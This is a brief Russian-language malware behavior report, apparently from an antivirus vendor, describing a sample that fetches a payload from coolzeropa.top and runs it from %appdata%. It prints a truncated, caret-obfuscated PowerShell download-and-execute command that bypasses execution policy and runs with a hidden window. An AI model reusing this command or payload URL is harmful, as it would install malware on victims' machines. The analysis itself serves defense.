Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://coolzeropa.top/admin.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "POwE^R^sh^ell.Exe -^E^XECu^TiOnpO^L^ICy ^B^Y^pasS ^-n^oprOfi^le -W^i^Ndo^ws^t^Yle HId^D^eN^ (n^Ew-^o^b^j^ec^t s^Y^St^e^m^.nEt.WeBcL^iENT^)^.^dow^n^Lo^a^DFI^lE('http://cool...
Сетевая активность
UDP
- DNS ASK co###eropa.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "POwE^R^sh^ell.Exe -^E^XECu^TiOnpO^L^ICy ^B^Y^pasS ^-n^oprOfi^le -W^i^Ndo^ws^t^Yle HId^D^eN^ (n^Ew-^o^b^j^ec^t s^Y^St^e^m^.nEt.WeBcL^iENT^)^.^dow^n^Lo^a^DFI^lE('http://cool...' (со скрытым окном)
